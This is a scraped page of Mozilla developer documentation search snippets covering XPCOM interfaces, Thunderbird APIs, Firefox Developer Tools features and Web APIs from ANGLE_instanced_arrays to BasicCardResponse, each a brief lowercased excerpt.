dom/base/nsimessagemanager.idlscriptable this interface enables clients to listen for messages sent using the nsimessagebroadcaster, nsimessagesender, or nsisyncmessagesender interfaces.
nsIMessageSender
this invokes listeners who registered for messagename using a nsimessagelistenermanager.
nsIMessageWakeupService
by using this service, you can avoid starting those components until they're needed.
nsIMsgCustomColumnHandler
(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird): gdbview.addcolumnhandler("newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler("newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("newcolumn"); method overview astring getsortstringforrow(in nsimsgdbhdr ahdr); unsigned long getsortlongforrow(in nsimsgdbhdr ahdr); boolean isstring(); methods getsortstringforrow() if the colu...
nsIMsgDBView
removerowonmoveordelete boolean readonly: usinglines boolean readonly: use lines for size.
nsIMsgDatabase
the caller should free when done using nsmemory.free().
nsIMsgFilterCustomAction
call onstopcopy when done * using the copylistener to continue.
nsIMsgIncomingServer
if isps want to modify this value, they should do that in their rdf file by using this attribute.
nsIMsgMessageService
you always can use streammessage to get the eml string representation of the message and then write it using file i/o methods.
nsINavHistoryQuery
see also places using the places history service querying places nsinavhistoryservice ...
nsINavHistoryResultNode
using places services after quit-application is not reliable, so make sure to do any shutdown work on quit-application, or history synchronization could fail, losing latest changes.
nsINavHistoryResultTreeViewer
see also querying places displaying places information using views nsinavhistoryresult nsitreeview ...
nsIObserver
see code snippets:preferences - using preference observers for an example.
nsIParentalControlsService
if this is true, applications should log relevant events using log() method.
nsIPassword
see using nsipasswordmanager for examples of nsipassword in use.
nsIPasswordManager
netwerk/base/public/nsipasswordmanager.idlscriptable used to interface with the built-in password manager 66 introduced gecko 1.0 deprecated gecko 1.9 inherits from: nsisupports last changed in gecko 1.0 see using nsipasswordmanager for examples.
nsIPipe
xpcom/io/nsipipe.idlscriptable this interface represents an in-process buffer that can be read using nsiinputstream and written using nsioutputstream.
nsIPrefBranch2
these cycles generally occur because an object both registers itself as an observer (causing the branch to hold a reference to the observer) and holds a reference to the branch object for the purpose of getting/setting preference values.
nsIProcess2
void runasync( [array, size_is(count)] in string args, in unsigned long count, in nsiobserver observer, optional in boolean holdweak optional ); parameters args an array of arguments to pass into the process, using the native character set.
nsIPushMessage
please see method parameters in xpidl for more details on using out parameters in javascript.
nsIPushSubscription
please see method parameters in xpidl for more details on using out parameters in javascript.
nsIRequestObserver
note: an exception thrown from onstartrequest has the side-effect of causing the request to be canceled.
nsISHEntry
statedata nsistructuredclonecontainer get/set data associated with this history state via a pushstate() call, serialized using structured clone.
nsISHistory
the enumerator object thus returned by this method can be traversed using nsisimpleenumerator.
nsIScreenManager
the coordinates must be specified using global (screen) coordinates, and are in pixels.
nsIScriptableInputStream
full example using the zip interfaces is seen here: list contents of xpi and read file contents.
nsIScriptableUnicodeConverter
this legacy api represents binary data using the lower haft of each 16-bit code unit in a javascript string.
nsISelectionPrivate
try to avoid using it.
nsIServerSocketListener
the transport is in the connected state, and read/write streams can be opened using the normal nsitransport api.
nsISound
note that nsisound instances may play the sounds using another thread; however, this is not controlled by the caller.
nsIStringBundleService
see also code snippets : miscellaneous : using string bundles from javascript how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons.
nsIStyleSheetService
see also see using the stylesheet service for examples.
nsISupportsPriority
see also changing the priority of http requests for an example of using this interface to adjust the priority of an http request.
nsISyncMessageSender
this invokes listeners who registered for messagename using a nsimessagelistenermanager.
nsITXTToHTMLConv
method overview void preformathtml(in boolean value); void settitle(in wstring text); prior versions of the interface named the methods using the initialcaps style instead of the intercaps style.
nsITaggingService
see also places using the places tagging service ...
nsITextInputProcessor
even if the key event shouldn't cause text input actually, e.g., ctrl key is pressed, this value should be the text when such modifiers causing suppressing text input are not pressed.
nsIToolkitProfile
methods lock() locks the profile using platform-specific locking methods.
nsITransportEventSink
astatus the transport status (resolvable to a string using nsierrorservice).
nsITreeBoxObject
it is dynamically settable, either using a view attribute on the tree tag or by setting this attribute to a new value.
nsITreeSelection
selecteventssuppressed boolean this attribute is a boolean indicating whether or not the "select" event should fire when the selection is changed using one of our methods.
nsIURL
ion#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof ...
nsIUUIDGenerator
methods generateuuid() obtains a new uuid using appropriate platform-specific methods to obtain a nsid that can be considered to be globally unique.
nsIWeakReference
do not hold on to the produced interface permanently; that would defeat the purpose of using a non-owning nsiweakreference in the first place.
nsIWebNavigationInfo
you may specify null to check for compatibility with nsiwebnavigation objects that are in their default state; otherwise, the result is determined based on the configuration of the specified object (that is, how it is configured by using nsiwebbrowsersetup).
nsIWebProgressListener
if you need to hold onto an identifier for whichever frame // (be it the top-level, or a subframe) was using the webprogress, use // the outerwindowid.
nsIWinTaskbar
for xulrunner applications, the defaultgroupid attribute is configured using application.ini settings, and is of the format "vendor.application.version".
nsIWindowsShellService
string getregistryentry( in long ahkeyconstant, in string asubkeyname, in string avaluename ); parameters ahkeyconstant the starting key, using the constants defined above.
nsIWorker
1.0 66 introduced gecko 1.9.1 inherits from: nsiabstractworker last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for usage details, see worker and the article using dom workers.
nsIWorkerFactory
see also using web workers worker sharedworker ...
nsIWorkerGlobalScope
see also using web workers nsiworkermessageport nsiworkermessageevent nsiworkerscope nsiabstractworker nsiworker ...
nsIWorkerMessageEvent
see also using web workers nsiworkermessageport nsiworkerglobalscope nsiworkerscope nsiabstractworker nsiworker ...
nsIWorkerMessagePort
see also using web workers nsiworkermessageevent nsiworkerglobalscope nsiworkerscope nsiabstractworker nsiworker ...
nsIWorkerScope
see also using web workers nsiworkermessageevent nsiworkermessageport nsiworkerglobalscope nsiabstractworker nsiworker ...
nsIXPCScriptable
return the next jsid in the iteration using idp.
nsIXSLTProcessorObsolete
try to avoid using it.
nsIXmlRpcClient
call this before using this object void getdata ( in string serverurl ) ; parameters serverurl url of server side object on which methods should be called setauthentication() set authentication info if needed.
nsIZipWriter
using backward slash will not throw any errors but if this was an xpi file, firefox would not be able to read it properly.
nsMsgSearchScope
calnews = 4; const nsmsgsearchscopevalue news = 5; const nsmsgsearchscopevalue newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscopevalue ldapand = 12; // imap and news, searched using local headers const nsmsgsearchscopevalue onlinemanual = 13; /// local news + junk const nsmsgsearchscopevalue localnewsjunk = 14; /// local news + body const nsmsgsearchscopevalue localnewsbody = 15; /// local news + junk + body const nsmsgsearchscopevalue localnewsjunkbody = 16; }; ...
NS_ASSERTION
the behavior of an assertion failure can be controlled using the xpcom_debug_break environment variable.
NS_CStringContainerInit2
the caller must have allocated the data array using the xpcom memory allocator.
NS_CStringToUTF16
the result will be encoded using the host byte order.
NS_UTF16ToCString
the source string should be encoded using the host byte order.
XPCOM string functions
xpcom provides these low-level string functions to let you work with strings; however, it's often better to use one of the string classes rather than directly using these functions.
nsIAbCard/Thunderbird3
generatephoneticname() generate a phonetic name from the card, using the firstname and lastname values.
Status, Recent Changes, and Plans
added do_queryreferent to make using nsiweakreferences easier.
XPCOM ABI
s the compiler abi and may be either: msvc - microsoft visual c++ n32 - irix 6 c++ compiler gcc2 - gnu c++ compiler 2.x gcc3 - gnu c++ compiler 3.x or 4.x sunc - sun c++ compiler ibmc - ibm c++ compiler for example: firefox built with the gnu c++ compiler 4.0.0 for the intel pentium processor would have xpcom abi of x86-gcc3 the xpcom abi string can be retrieved programmatically by using the nsixulruntime interface.
Xptcall Porting Status
he is hoping that others will help test the changes using these two compilers on the various platforms where this same code is used.
xpidl
MozillaTechXPIDLxpidl
using xpidl to add an idl file to the build, use the xpidlsrcs makefile variable.
XTF
MozillaTechXTF
the extensible tag framework (xtf) allows adding support for new namespaces using xpcom components to mozilla (written in javascript or c++).
The Valgrind Test Job
mach valgrind-test see also the general instructions for using valgrind with mozilla code.
Address book sync client design
// // sync approach - server handles all conflict resolution: // // step 2: // using the sync mapping table and the local records database, generate the change // list to send to the server.
Buddy icons in mail
for the message pane, the icon we will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for sender email address>.gif when trying to determine the screenname for the sender, we search the addressbook that we are using for collection.
Mail and RDF
this allows exposure of mailnews-specific data to user interface using rdf templates.
The libmime module
}; then, in the corresponding .c file, the following structure is used: class definition first we pull in the appropriate include file (which includes all necessary include files for the parent classes) and then we define the class object using the mimedefclass macro: #include "foobar.h" #define mime_superclass parentlclass mimedefclass(foobar, foobarclass, foobarclass, &mime_superclass); the definition of mime_superclass is just to move most of the knowlege of the exact class hierarchy up to the file's header, instead of it being scattered through the various methods; see below.
Thunderbird API documentation
hidden prefs libmime libmime module libmime content type handlers mail and rdf using the multiple accounts api spam filtering ...
Building a Thunderbird extension 5: XUL
we add widgets by inserting new xul dom elements into the application window and modify them using scripts and attaching event handlers.
Demo Addon
demo 3- search messages by subject this demo shows how to find messages by a subject accross all folders using gloda.
Activity Manager examples
stom icon, default process icon // will be used process.contexttype = "account"; // group this activity by account process.contextobj = folder.server; // account in question gactivitymanager.addactivity(process); // step 2: showing some progress let percent = 50; process.setprogress(percent, "junk processing 25 of 50 messages", 25, 50); // step 3: removing the process and adding an event using process' attributes process.state = components.interfaces.nsiactivityprocess.state_completed; gactivitymanager.removeactivity(process.id); let event = components.classes["@mozilla.org/activity-event;1"].createinstance(nsiae); // localization is omitted, initiator is omitted event.init(folder.prettiestname + " is processed", null, "no junk found", process.startti...
Folders and message lists
when using this, be sure that there's only one selected message (or that you only care about the first one).
Thunderbird extensions
read the source using a fancy interface; you can often find tests that demonstrate what you're trying to achieve.
XPI
xpi archives only support files stored uncompressed or compressed using the "deflate" method.
ArrayType
in addition, each element in the array can be referenced by index using standard bracket notation, such as myarray[index].
CData
return char16_val; } if (!jschar) { try { var char8_val = stringptr.readstring(); console.info('stringptr.readstring():', char8_val); return char8_val; } catch (ex if ex.message.indexof('malformed utf-8 character sequence at offset ') == 0) { console.warn('ex of offset utf8 read error when trying to do readstring so using alternative method, ex:', ex); return readjscharstring(); } } else { return readjscharstring(); } } ...
CType
all data types declared using the js-ctypes api are represented by ctype objects.
Library
you need to call this once you're done using the library.
StructType
note: at this time, there isn't a way to denote a packed structure (that is, one created in c using #pragma pack).
Gecko Plugin API Reference - Plugins
plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawin...
Wait-cursor - XUL
i'm using window.setcursor('wait') and window.setcursor('auto') for get this effect.
3D view - Firefox Developer Tools
e f makes sure the currently selected node is visible reset view r resets zoom, rotation, and panning to the default hide current node x makes the currently selected node invisible; this can be helpful if you need to get at a node that's obscured use cases for the 3d view there are a variety of ways the 3d view is useful: if you have broken html causing layout problems, looking at the 3d view can help find where you've gone wrong.
DOM Inspector FAQ - Firefox Developer Tools
you can, however, find any rule in its parent style sheet (e.g., to modify it) by using the style sheets viewer in the document pane, and locating it in the css rules viewer in the object pane.
DOM Inspector - Firefox Developer Tools
the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.
Browser Toolbox - Firefox Developer Tools
altogether you will have access to the following developer tools: debugger (note: if you want to debug a specific add-on that is restartless or sdk-based then try the add-on debugger.) console style editor performance network monitor page inspector accessibility inspector you can debug chrome: and about: pages using the normal debugger, just as if they were ordinary content pages.
Debug eval sources - Firefox Developer Tools
in the video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# sourceurl=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# sourceurl directive.
Search - Firefox Developer Tools
the debugger will display the number of matches in the code and highlight each result: using the outline tab if you are searching for a specific function within the current javascript file, you can use the outline tab in the debugger to find it quickly.
Step through code - Firefox Developer Tools
when the debugger is stopped at a breakpoint, you can step through it using four buttons in the toolbar: in order, the buttons are: play: run to the next breakpoint step over: advance to the next line in the same function.
Debugger keyboard shortcuts - Firefox Developer Tools
see this guide to using these keys as standard function keys.
Set a logpoint - Firefox Developer Tools
logpoints print a message to the console panel instead of pausing code execution.
Set an XHR breakpoint - Firefox Developer Tools
to turn on the feature: open the debugger click on "pause on any url" which acts as a wild card, causing the code to pause on any call, or, click the plus sign next to the xhr breakpoints header, enter the url in which you are interested, and press enter.
Set event listener breakpoints - Firefox Developer Tools
using a standard event breakpoint to use an event breakpoint, you open up the javascript debugger, and find and expand the event listener breakpoints section in the right hand column.
Debugger.Environment - Firefox Developer Tools
this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.) if a debugger.environment instance’s referent is not a debuggee environment, then attempting to access its properties (other than inspectable) or call any its methods throws an instance of error.
Debugger.Frame - Firefox Developer Tools
this allows the code using each debugger instance to place whatever properties it likes on its debugger.frame instances, without worrying about interfering with other debuggers.) when the debuggee pops a stack frame (say, because a function call has returned or an exception has been thrown from it), the debugger.frame instance referring to that frame becomes inactive: its live property becomes false, and accessing its oth...
Tutorial: Set a breakpoint - Firefox Developer Tools
this page shows how you can try out the debugger api yourself using firefox’s scratchpad.
Eyedropper - Firefox Developer Tools
underneath the magnifying glass it shows the color value for the current pixel using whichever scheme you've selected in settings > inspector > default color unit: you can use it in one of two ways: to select a color from the page and copy it to the clipboard to change a color value in the inspector's rules view to a color you've selected from the page copying a color to the clipboard open the eyedropper in one of these two ways: select "eyedropper" under the "web developer" menu open the page inspector tab and click the eyedropper button in its toolbar as you move the mous...
JSON viewer - Firefox Developer Tools
arrays and objects are shown collapsed, and you can expand them using the "+" icons.
All keyboard shortcuts - Firefox Developer Tools
see this guide to using these keys as standard function keys.
Measure a portion of the page - Firefox Developer Tools
using the measuring tool you can measure a specific area of a web page.
Dominators - Firefox Developer Tools
you can see the dominators in a page using the dominators view in the memory tool.
Dominators view - Firefox Developer Tools
using the call stack view finally, you can switch to the call stack view, see where the objects are being allocated, and jump to that point in the debugger: ...
Throttling - Firefox Developer Tools
regular 2g 250 kbps 50 kbps 300 good 2g 450 kbps 150 kbps 150 regular 3g 750 kbps 250 kbps 100 good 3g 1.5 mbps 750 kbps 40 regular 4g/lte 4 mbps 3 mbps 20 dsl 2 mbps 1 mbps 5 wi-fi 30 mbps 15 mbps 2 network monitor features the following articles cover different aspects of using the network monitor: toolbar network request list network request details network traffic recording performance analysis ...
Network monitor toolbar - Firefox Developer Tools
network monitor features the following articles cover different aspects of using the network monitor: network request list network request details network traffic recording performance analysis throttling ...
Network Monitor - Firefox Developer Tools
ui overview the ui is divided into four main pieces: the main screen contains the toolbar, the network request list, and the network request details pane: the performance analysis view is a separate screen: working with the network monitor the following articles cover different aspects of using the network monitor: toolbar network request list network request details network traffic recording performance analysis throttling ...
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
the flexbox inspector allows you to examine css flexbox layouts using the firefox devtools, which is useful for discovering flex containers on a page, examining and modifying them, debugging layout issues, and more.
Use the Inspector API - Firefox Developer Tools
bindable events using on: markuploaded called when the left panel has been refreshed, after page change.
Use the Inspector from the Web Console - Firefox Developer Tools
the element that's currently selected in the page inspector can be referenced in the web console using the variable $0.
View background images - Firefox Developer Tools
in the rules view, you can see a preview of images specified using background-image.
Animation inspector example: CSS transitions - Firefox Developer Tools
firefox-logo-animation example animation using css transitions.
Animation inspector example: Web Animations API - Firefox Developer Tools
firefox-logo-animation example animation using the web animations api.
UI Tour - Firefox Developer Tools
if the page includes any sections using either the flexbox display model or css grids, this view shows the flexbox or grid settings used on the page.
How to - Firefox Developer Tools
to stop, press it again: you can also start and stop recording from the web console, using console.profile() and console.profileend().
UI Tour - Firefox Developer Tools
waterfall overview this presents a compressed view of the waterfall: recorded operations are color-coded using the same scheme as in the main waterfall view.
Performance - Firefox Developer Tools
intensive javascript uses the frame rate and waterfall tools to highlight performance problems caused by long-running javascript, and how using workers can help in this situation.
Rulers - Firefox Developer Tools
behavior to keep in mind when using rulers: the rulers command must be reapplied in new tabs and after each page refresh.
Cache Storage - Firefox Developer Tools
under the cache storage type within the storage inspector you can see the contents of any dom caches created using the cache api.
IndexedDB - Firefox Developer Tools
you can delete an indexeddb database using the context menu in the storage tree: if the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the storage inspector: you can use the context menu in the table widget to delete all items in an object store, or a particular item: ...
Local Storage / Session Storage - Firefox Developer Tools
you can edit local and session storage items by double-clicking inside cells in the table widget and editing the values they contain: you can delete local storage and session storage entries using the context menu: you can also delete local and session storage entries by selecting an item and pressing the delete or backspace key.
Taking screenshots - Firefox Developer Tools
so if you’re using the up-arrow history scroll to capture images in quick succession, be careful — you need to remember to change the filename for each new capture.
Tips - Firefox Developer Tools
:screenshot <filename.png> --fullpage saves a screenshot to your downloads directory using the optional file name.
Toolbox - Firefox Developer Tools
docking mode by default, the toolbox appears docked to the bottom of the browser window, but you can also dock it to the right-hand side of the window, or make it a standalone window, using buttons in the toolbar.
Web Console Helpers - Firefox Developer Tools
let's take a look at the contents of that node by using the $() and inspect() functions: inspect($("#title")) this automatically generates rich output for the object, showing you the contents of the dom node that matches the css selector "#title", which is of course the element with id "title".
Web Console - Firefox Developer Tools
the javascript input interpreter how to interact with a document using the console.
about:debugging (before Firefox 68) - Firefox Developer Tools
service workers can be unavailable for several reasons: if you are using a private browsing window.
ANGLE_instanced_arrays.drawArraysInstancedANGLE() - Web APIs
note: when using webgl2, this method is available as gl.drawarraysinstanced() by default.
ANGLE_instanced_arrays.vertexAttribDivisorANGLE() - Web APIs
note: when using webgl2, this method is available as gl.vertexattribdivisor() by default.
AbortSignal.aborted - Web APIs
later on we check whether or not it the signal has been aborted using the aborted property, and send an appropriate log to the console.
AbortSignal.onabort - Web APIs
later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console.
AbsoluteOrientationSensor - Web APIs
model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requesting permissions for multiple device sensors.
AbstractWorker.onerror - Web APIs
}; example the following code snippet shows creation of a worker object using the worker() constructor and setting up of an onerror handler on the resulting object: var myworker = new worker('worker.js'); myworker.onerror = function() { console.log('there is an error with your worker!'); } specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
AbstractWorker - Web APIs
this code snippet demonstrates the creation of a new worker using the worker() constructor; it also shows how to then send a message to the worker.
AesCbcParams - Web APIs
the aescbcparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-cbc algorithm.
AesCtrParams - Web APIs
the aesctrparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-ctr algorithm.
AesGcmParams - Web APIs
the aesgcmparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-gcm algorithm.
Ambient Light Events - Web APIs
this event can be captured at the window object level by using the addeventlistener method (using the devicelight event name) or by attaching an event handler to the window.ondevicelight property.
AnalyserNode.maxDecibels - Web APIs
the maxdecibels property of the analysernode interface is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the maximum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
AnalyserNode.minDecibels - Web APIs
the mindecibels property of the analysernode interface is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the minimum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
Animation() - Web APIs
examples in the follow the white rabbit example, the animation() constructor is used to create an animation for the rabbitdownkeyframes using the document's timeline: var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); specifications specification status comment web animationsthe definition of 'animation()' in that specification.
Animation.pending - Web APIs
WebAPIAnimationpending
the read-only animation.pending property of the web animations api indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
Animation.play() - Web APIs
WebAPIAnimationplay
return value undefined example in the growing/shrinking alice game example, clicking or tapping the cake causes alice's growing animation (alicechange) to play forward, causing her to get bigger, as well as triggering the cake's animation.
Animation.playbackRate - Web APIs
examples in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to reverse, causing her to shrink: var shrinkalice = function() { alicechange.playbackrate = -1; alicechange.play(); } // on tap or click, alice will shrink.
Animation.ready - Web APIs
WebAPIAnimationready
you'll typically use a construct similar to this when using the ready promise: animation.ready.then(function() { // do whatever needs to be done when // the animation is ready to run }); example in the following example, the state of the animation will be running when the current ready promise is resolved because the animation does not leave the pending play state in between the calls to pause and play and hence the current ready promise does not c...
Animation.reverse() - Web APIs
WebAPIAnimationreverse
return value undefined example in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to play backwards, causing her to get smaller.
AnimationEffect.getComputedTiming() - Web APIs
these values are comparable to the computed styles of an element returned using window.getcomputedstyle(elem).
AnimationEvent.initAnimationEvent() - Web APIs
summary the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
AnimationEvent - Web APIs
animationevent.initanimationevent() initializes a animationevent created using the deprecated document.createevent("animationevent") method.
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
you can create an attribute with the specified namespaceuri using the dom level 2 method element.setattributens.
AudioBuffer - Web APIs
the audiobuffer interface represents a short audio asset residing in memory, created from an audio file using the audiocontext.decodeaudiodata() method, or from raw data using audiocontext.createbuffer().
AudioBufferSourceNode.buffer - Web APIs
the buffer property of the audiobuffersourcenode interface provides the ability to play back audio using an audiobuffer as the source of the sound data.
AudioContext.createMediaStreamDestination() - Web APIs
this stream can be used in a similar way as a mediastream obtained via navigator.getusermedia — it can, for example, be sent to a remote peer using the rtcpeerconnection addstream() method.
AudioContext.suspend() - Web APIs
the suspend() method of the audiocontext interface suspends the progression of time in the audio context, temporarily halting audio hardware access and reducing cpu/battery usage in the process — this is useful if you want an application to power down the audio hardware when it will not be using an audio context for a while.
AudioContextLatencyCategory - Web APIs
by using these strings rather than a numeric value when specifying a latency to a audiocontext, you can allow the user agent to select an appropriate latency for your use case that makes sense on the device on which your content is being used.
AudioListener - Web APIs
properties the position, forward, and up value are set and retrieved using different syntaxes.
AudioNode - Web APIs
WebAPIAudioNode
fftsize: 2048, maxdecibels: -25, mindecibels: -60, smoothingtimeconstant: 0.5, }); // factory method const analysernode = audioctx.createanalyser(); analysernode.fftsize = 2048; analysernode.maxdecibels = -25; analysernode.mindecibels = -60; analysernode.smoothingtimeconstant = 0.5; you are free to use either constructors or factory methods, or mix both, however there are advantages to using the constructors: all parameters can be set during construction time and don't need to be set individually.
AudioParam.cancelAndHoldAtTime() - Web APIs
the cancelandholdattime() property of the audioparam interface cancels all scheduled future changes to the audioparam but holds its value at a given time until further changes are made using other methods.
AudioParam.setValueCurveAtTime() - Web APIs
note: some early implementations of the web audio api did not ensure this to be the case, causing unexpected results.
AudioScheduledSourceNode: ended event - Web APIs
examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("startbutton").disabled = false; }) you can also set up the event handler using the audioscheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("startbutton").disabled = false; } for an example of the ended event in use, see our audio-buffer example on github.
AudioScheduledSourceNode.start() - Web APIs
this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute.
AudioScheduledSourceNode.stop() - Web APIs
this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute.
AudioTrack.enabled - Web APIs
the element's audio tracks are then scanned through using the javascript foreach() method (although the audiotracks property of a media element isn't actually a javascript array, it can be accessed like one for the most part).
AudioTrack - Web APIs
usage notes to get an audiotrack for a given media element, use the element's audiotracks property, which returns an audiotracklist object from which you can get the individual tracks contained in the media: var el = document.queryselector("video"); var tracks = el.audiotracks; you can then access the media's individual tracks using either array syntax or functions such as foreach().
AudioTrackList: addtrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('addtrack', (event) => { console.log(`audio track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onaddtrack = (event) => { console.log(`audio track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
AudioTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); using the onchange event handler property: const videoelement = docume...
AudioTrackList.getTrackById() - Web APIs
function disablecharacter(videoelem, charactername) { videoelem.audiotracks.gettrackbyid(charactername).enabled = false; } this short function gets the audiotracklist containing the video's audio tracks using htmlmediaelement.audiotracks, then calls gettrackbyid() on it, specifying the character's name.
AudioTrackList.onaddtrack - Web APIs
note: you can also add a handler for the addtrack event using addeventlistener().
AudioTrackList.onremovetrack - Web APIs
note: you can also add a handler for the removetrack event using addeventlistener().
AudioTrackList: removetrack event - Web APIs
bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('removetrack', (event) => { console.log(`audio track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onremovetrack = (event) => { console.log(`audio track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
AudioTrackList - Web APIs
the individual tracks can be accessed using array syntax.
AudioWorklet - Web APIs
the worklet's code is run in the audioworkletglobalscope global execution context, using a separate web audio thread which is shared by the worklet and other audio nodes.
AudioWorkletNode() - Web APIs
a processor with the provided name must first be registered using the audioworkletglobalscope.registerprocessor() method.
AudioWorkletProcessor.process - Web APIs
for each custom audioparam defined using the parameterdescriptors getter, the key in the object is a name of that audioparam, and the value is a float32array.
AuthenticatorAssertionResponse.signature - Web APIs
syntax signature = authenticatorassertionresponse.signature value an arraybuffer object which the signature of the authenticator (using its private key) for both authenticatorassertionresponse.authenticatordata and a sha-256 hash given by the client for its data (the challenge, the origin, etc.
AuthenticatorAssertionResponse - Web APIs
the assertion signature is created with the private key of keypair that was created during the navigator.credentials.create() call and verified using the public key of that same keypair.
BaseAudioContext.createAnalyser() - Web APIs
note: for more on using this node, see the analysernode page.
BaseAudioContext.createBuffer() - Web APIs
for simple uses like playing an mp3, decodeaudiodata() is what you should be using.
BaseAudioContext.createBufferSource() - Web APIs
audiobuffers are created using baseaudiocontext.createbuffer or returned by baseaudiocontext.decodeaudiodata when it successfully decodes an audio track.
BaseAudioContext.createGain() - Web APIs
if you still hear something, make sure you haven't // connected your source into the output in addition to using the gainnode.
BaseAudioContext.decodeAudioData() - Web APIs
we then pass this buffer into a decodeaudiodata() function; the success callback takes the successfully decoded pcm data, puts it into an audiobuffersourcenode created using audiocontext.createbuffersource(), connects the source to the audiocontext.destination and sets it to loop.
BaseAudioContext - Web APIs
audiobuffers are created using audiocontext.createbuffer or returned by audiocontext.decodeaudiodata when it successfully decodes an audio track.
BasicCardResponse.billingAddress - Web APIs
}); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
BasicCardResponse.cardNumber - Web APIs
}); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
BasicCardResponse.cardSecurityCode - Web APIs
}); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
BasicCardResponse.cardholderName - Web APIs
}); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
BasicCardResponse.expiryMonth - Web APIs
}); once the payment flow has been triggered using paymentrequest.show() and the promise resolves successfully, the paymentresponse object available inside the fulfilled promise (instrumentresponse above) will have a paymentresponse.details property that will contain response details.
